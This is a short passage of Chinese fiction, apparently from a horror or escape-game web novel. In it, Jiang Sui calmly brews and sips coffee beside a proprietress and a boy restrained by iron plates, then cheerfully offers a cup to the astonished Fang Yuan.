方圆提醒:“出口不在这儿……” 话没说完,厨房门“吱呀”开了。方圆以为是黄婆婆,吓得后退两步,却看见老板娘和小男孩被厚重的铁片死死封住手脚和嘴巴,动不了也喊不出声。 江随就站在旁边,正悠闲地摆弄着咖啡机,磨好的咖啡粉簌簌落下,冲出来的液体泛着浓郁的棕褐色。 他惬意地端起杯子抿了一口。 露出了满意的表情。 看到方圆,他还冲方圆打了个招呼。 “喝吗?虽然不知道是什么咖啡,但味道不错哦。” 方圆目瞪口呆地看着江随……脑袋上缓缓冒出一个问号。